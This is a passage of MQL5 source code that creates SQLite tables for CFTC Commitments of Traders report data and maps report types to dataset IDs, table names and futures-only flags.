"lev_money_positions_long INT, lev_money_positions_short INT, lev_money_positions_spread INT,"
"other_rept_positions_long INT, other_rept_positions_short INT, other_rept_positions_spread INT,"
"tot_rept_positions_long_all INT, tot_rept_positions_short INT, nonrept_positions_long_all INT, nonrept_positions_short_all INT,"
"change_in_open_interest_all INT, change_in_dealer_long_all INT, change_in_dealer_short_all INT, change_in_dealer_spread_all INT,"
"change_in_asset_mgr_long INT, change_in_asset_mgr_short INT, change_in_asset_mgr_spread INT,"
"change_in_lev_money_long INT, change_in_lev_money_short INT, change_in_lev_money_spread INT,"
"change_in_other_rept_long INT, change_in_other_rept_short INT, change_in_other_rept_spread INT,"
"change_in_tot_rept_long_all INT, change_in_tot_rept_short INT, change_in_nonrept_long_all INT, change_in_nonrept_short_all INT,"
"pct_of_open_interest_all REAL, pct_of_oi_dealer_long_all REAL, pct_of_oi_dealer_short_all REAL, pct_of_oi_dealer_spread_all REAL,"
"pct_of_oi_asset_mgr_long REAL, pct_of_oi_asset_mgr_short REAL, pct_of_oi_asset_mgr_spread REAL,"
"pct_of_oi_lev_money_long REAL, pct_of_oi_lev_money_short REAL, pct_of_oi_lev_money_spread REAL,"
"pct_of_oi_other_rept_long REAL, pct_of_oi_other_rept_short REAL, pct_of_oi_other_rept_spread REAL,"
"pct_of_oi_tot_rept_long_all REAL, pct_of_oi_tot_rept_short REAL, pct_of_oi_nonrept_long_all REAL, pct_of_oi_nonrept_short_all REAL,"
"traders_tot_all INT, traders_dealer_long_all INT, traders_dealer_short_all INT, traders_dealer_spread_all INT,"
"traders_asset_mgr_long_all INT, traders_asset_mgr_short_all INT, traders_asset_mgr_spread INT,"
"traders_lev_money_long_all INT, traders_lev_money_short_all INT, traders_lev_money_spread INT,"
"traders_other_rept_long_all INT, traders_other_rept_short INT, traders_other_rept_spread INT,"
"traders_tot_rept_long_all INT, traders_tot_rept_short_all INT,"
"conc_gross_le_4_tdr_long REAL, conc_gross_le_4_tdr_short REAL, conc_gross_le_8_tdr_long REAL, conc_gross_le_8_tdr_short REAL,"
"conc_net_le_4_tdr_long_all REAL, conc_net_le_4_tdr_short_all REAL, conc_net_le_8_tdr_long_all REAL, conc_net_le_8_tdr_short_all REAL,"
"FOREIGN KEY(cid) REFERENCES contract(id),"
"PRIMARY KEY(date, rid, cid)"
");"
"CREATE INDEX idx_T_1 ON T(date);"
;
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, CreateTable, T): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
return INVALID_HANDLE;
}
}
if (!DatabaseTableExists(db, "D")) {
sql = "CREATE TABLE D ("
"date INT, rid INT, cid TEXT, fo INT,"
"open_interest_all INT, prod_merc_positions_long INT, prod_merc_positions_short INT,"
"swap_positions_long_all INT, swap_positions_short_all INT, swap_positions_spread_all INT,"
"m_money_positions_long_all INT, m_money_positions_short_all INT, m_money_positions_spread INT,"
"other_rept_positions_long INT, other_rept_positions_short INT, other_rept_positions_spread INT,"
"tot_rept_positions_long_all INT, tot_rept_positions_short INT, nonrept_positions_long_all INT, nonrept_positions_short_all INT,"
"open_interest_old INT, prod_merc_positions_long_1 INT, prod_merc_positions_short_1 INT,"
"swap_positions_long_old INT, swap_positions_short_old INT, swap_positions_spread_old INT,"
"m_money_positions_long_old INT, m_money_positions_short_old INT, m_money_positions_spread_1 INT,"
"other_rept_positions_long_1 INT, other_rept_positions_short_1 INT, other_rept_positions_spread_1 INT,"
"tot_rept_positions_long_old INT, tot_rept_positions_short_1 INT, nonrept_positions_long_old INT, nonrept_positions_short_old INT,"
"open_interest_other INT, prod_merc_positions_long_2 INT, prod_merc_positions_short_2 INT,"
"swap_positions_long_other INT, swap_positions_short_other INT, swap_positions_spread_other INT,"
"m_money_positions_long_other INT, m_money_positions_short_other INT, m_money_positions_spread_2 INT,"
"other_rept_positions_long_2 INT, other_rept_positions_short_2 INT, other_rept_positions_spread_2 INT,"
"tot_rept_positions_long_other INT, tot_rept_positions_short_2 INT, nonrept_positions_long_other INT, nonrept_positions_short_other INT,"
"change_in_open_interest_all INT, change_in_prod_merc_long INT, change_in_prod_merc_short INT,"
"change_in_swap_long_all INT, change_in_swap_short_all INT, change_in_swap_spread_all INT,"
"change_in_m_money_long_all INT, change_in_m_money_short_all INT, change_in_m_money_spread INT,"
"change_in_other_rept_long INT, change_in_other_rept_short INT, change_in_other_rept_spread INT,"
"change_in_tot_rept_long_all INT, change_in_tot_rept_short INT, change_in_nonrept_long_all INT, change_in_nonrept_short_all INT,"
"pct_of_open_interest_all REAL, pct_of_oi_prod_merc_long REAL, pct_of_oi_prod_merc_short REAL,"
"pct_of_oi_swap_long_all REAL, pct_of_oi_swap_short_all REAL, pct_of_oi_swap_spread_all REAL,"
"pct_of_oi_m_money_long_all REAL, pct_of_oi_m_money_short_all REAL, pct_of_oi_m_money_spread REAL,"
"pct_of_oi_other_rept_long REAL, pct_of_oi_other_rept_short REAL, pct_of_oi_other_rept_spread REAL,"
"pct_of_oi_tot_rept_long_all REAL, pct_of_oi_tot_rept_short REAL, pct_of_oi_nonrept_long_all REAL, pct_of_oi_nonrept_short_all REAL,"
"pct_of_open_interest_old REAL, pct_of_oi_prod_merc_long_1 REAL, pct_of_oi_prod_merc_short_1 REAL,"
"pct_of_oi_swap_long_old REAL, pct_of_oi_swap_short_old REAL, pct_of_oi_swap_spread_old REAL,"
"pct_of_oi_m_money_long_old REAL, pct_of_oi_m_money_short_old REAL, pct_of_oi_m_money_spread_1 REAL,"
"pct_of_oi_other_rept_long_1 REAL, pct_of_oi_other_rept_short_1 REAL, pct_of_oi_other_rept_spread_1 REAL,"
"pct_of_oi_tot_rept_long_old REAL, pct_of_oi_tot_rept_short_1 REAL, pct_of_oi_nonrept_long_old REAL, pct_of_oi_nonrept_short_old REAL,"
"pct_of_open_interest_other REAL, pct_of_oi_prod_merc_long_2 REAL, pct_of_oi_prod_merc_short_2 REAL,"
"pct_of_oi_swap_long_other REAL, pct_of_oi_swap_short_other REAL, pct_of_oi_swap_spread_other REAL,"
"pct_of_oi_m_money_long_other REAL, pct_of_oi_m_money_short_other REAL, pct_of_oi_m_money_spread_2 REAL,"
"pct_of_oi_other_rept_long_2 REAL, pct_of_oi_other_rept_short_2 REAL, pct_of_oi_other_rept_spread_2 REAL,"
"pct_of_oi_tot_rept_long_other REAL, pct_of_oi_tot_rept_short_2 REAL, pct_of_oi_nonrept_long_other REAL, pct_of_oi_nonrept_short_other REAL,"
"traders_tot_all INT, traders_prod_merc_long_all INT, traders_prod_merc_short_all INT,"
"traders_swap_long_all INT, traders_swap_short_all INT, traders_swap_spread_all INT,"
"traders_m_money_long_all INT, traders_m_money_short_all INT, traders_m_money_spread_all INT,"
"traders_other_rept_long_all INT, traders_other_rept_short INT, traders_other_rept_spread INT,"
"traders_tot_rept_long_all INT, traders_tot_rept_short_all INT, traders_tot_old INT, traders_prod_merc_long_old INT, traders_prod_merc_short_old INT,"
"traders_swap_long_old INT, traders_swap_short_old INT, traders_swap_spread_old INT,"
"traders_m_money_long_old INT, traders_m_money_short_old INT, traders_m_money_spread_old INT,"
"traders_other_rept_long_old INT, traders_other_rept_short_1 INT, traders_other_rept_spread_1 INT,"
"traders_tot_rept_long_old INT, traders_tot_rept_short_old INT, traders_tot_other INT, traders_prod_merc_long_other INT, traders_prod_merc_short_other INT,"
"traders_swap_long_other INT, traders_swap_short_other INT, traders_swap_spread_other INT,"
"traders_m_money_long_other INT, traders_m_money_short_other INT, traders_m_money_spread_other INT,"
"traders_other_rept_long_other INT, traders_other_rept_short_2 INT, traders_other_rept_spread_2 INT, traders_tot_rept_long_other INT, traders_tot_rept_short_other INT,"
"conc_gross_le_4_tdr_long REAL, conc_gross_le_4_tdr_short REAL, conc_gross_le_8_tdr_long REAL, conc_gross_le_8_tdr_short REAL,"
"conc_net_le_4_tdr_long_all REAL, conc_net_le_4_tdr_short_all REAL, conc_net_le_8_tdr_long_all REAL, conc_net_le_8_tdr_short_all REAL,"
"conc_gross_le_4_tdr_long_1 REAL, conc_gross_le_4_tdr_short_1 REAL, conc_gross_le_8_tdr_long_1 REAL,"
"conc_gross_le_8_tdr_short_1 REAL, conc_net_le_4_tdr_long_old REAL, conc_net_le_4_tdr_short_old REAL, conc_net_le_8_tdr_long_old REAL, conc_net_le_8_tdr_short_old REAL,"
"conc_gross_le_4_tdr_long_2 REAL, conc_gross_le_4_tdr_short_2 REAL, conc_gross_le_8_tdr_long_2 REAL, conc_gross_le_8_tdr_short_2 REAL,"
"conc_net_le_4_tdr_long_other REAL, conc_net_le_4_tdr_short_other REAL, conc_net_le_8_tdr_long_other REAL, conc_net_le_8_tdr_short_other REAL,"
"FOREIGN KEY(cid) REFERENCES contract(id),"
"PRIMARY KEY(date, rid, cid)"
");"
"CREATE INDEX idx_D_1 ON D(date);"
;
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, CreateTable, D): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
return INVALID_HANDLE;
}
}
if (!DatabaseTableExists(db, "S")) {
sql = "CREATE TABLE S ("
"date INT, rid INT, cid TEXT, fo INT,"
"open_interest_all INT, ncomm_postions_long_all_nocit INT, ncomm_postions_short_all_nocit INT, ncomm_postions_spread_all_nocit INT,"
"comm_positions_long_all_nocit INT, comm_positions_short_all_nocit INT,"
"tot_rept_positions_long_all INT, tot_rept_positions_short INT, nonrept_positions_long_all INT, nonrept_positions_short_all INT,"
"cit_positions_long_all INT, cit_positions_short_all INT,"
"change_open_interest_all INT, change_noncomm_long_all_nocit INT, change_noncomm_short_all_nocit INT, change_noncomm_spead_all_nocit INT,"
"change_comm_long_all_nocit INT, change_comm_short_all_nocit INT, change_tot_rept_long_all INT, change_tot_rept_short_all INT,"
"change_nonrept_long_all INT, change_nonrept_short_all INT, change_cit_long_all INT, change_cit_short_all INT,"
"pct_open_interest_all REAL, pct_oi_noncomm_long_all_nocit REAL, pct_oi_noncomm_short_all_nocit REAL, pct_oi_noncomm_spread_all_nocit REAL,"
"pct_oi_comm_long_all_nocit REAL, pct_oi_comm_short_all_nocit REAL, pct_oi_tot_rept_long_all_nocit REAL, pct_oi_tot_rept_short_all_nocit REAL,"
"pct_oi_nonrept_long_all_nocit REAL, pct_oi_nonrept_short_all_nocit REAL, pct_oi_cit_long_all REAL, pct_oi_cit_short_all REAL,"
"traders_tot_all INT, traders_noncomm_long_all_nocit INT, traders_noncomm_short_all_nocit INT, traders_noncomm_spread_all_nocit INT,"
"traders_comm_long_all_nocit INT, traders_comm_short_all_nocit INT, traders_tot_rept_long_all_nocit INT,"
"traders_tot_rept_short_all_nocit INT, traders_cit_long_all INT, traders_cit_short_all INT,"
"FOREIGN KEY(cid) REFERENCES contract(id),"
"PRIMARY KEY(date, rid, cid)"
");"
"CREATE INDEX idx_S_1 ON S(date);"
;
if (!DatabaseExecute(db, sql)) {
PrintFormat("Error (%s, CreateTable, S): #%d", __FUNCTION__, GetLastError());
DatabaseClose(db);
return INVALID_HANDLE;
}
}
return db;
}
//+------------------------------------------------------------------+
//| Retrieve the URL id associated with the COT report. |
//+------------------------------------------------------------------+
string cotGetRequestId(ENUM_COT_REPORT report_type) {
string rid;
switch(report_type) {
case COT_REPORT_L:
rid = "6dca-aqww";
break;
case COT_REPORT_LC:
rid = "jun7-fc8e";
break;
case COT_REPORT_T:
rid = "gpe5-46if";
break;
case COT_REPORT_TC:
rid = "yw9f-hn96";
break;
case COT_REPORT_D:
rid = "72hh-3qpy";
break;
case COT_REPORT_DC:
rid = "kh3c-gbw2";
break;
case COT_REPORT_S:
rid = "4zgm-a668";
break;
}
return rid;
}
//+------------------------------------------------------------------+
//| Retrieve the name of the DB table associated with the COT report.|
//+------------------------------------------------------------------+
string CotGetTableName(ENUM_COT_REPORT report_type) {
string table;
switch(report_type) {
case COT_REPORT_L:
table = "L";
break;
case COT_REPORT_LC:
table = "L";
break;
case COT_REPORT_T:
table = "T";
break;
case COT_REPORT_TC:
table = "T";
break;
case COT_REPORT_D:
table = "D";
break;
case COT_REPORT_DC:
table = "D";
break;
case COT_REPORT_S:
table = "S";
break;
}
return table;
}
//+------------------------------------------------------------------+
//| Determine the COT report is futures only or combined with options|
//+------------------------------------------------------------------+
int CotIsFuturesOnly(ENUM_COT_REPORT report_type) {
int fo = 0;
switch(report_type) {
case COT_REPORT_L:
fo = 1;
break;
case COT_REPORT_LC:
fo = 0;
break;
case COT_REPORT_T:
fo = 1;
break;
case COT_REPORT_TC:
fo = 0;
break;
case COT_REPORT_D:
fo = 1;
break;
case COT_REPORT_DC:
fo = 0;
break;
case COT_REPORT_S:
fo = 0;
break;
}
return fo;
}
//+------------------------------------------------------------------+
//| Retrieve COT report type. |
//+------------------------------------------------------------------+
ENUM_COT_REPORT CotGetReportType(ENUM_COT_CLASS clss, ENUM_COT_MODE mode) {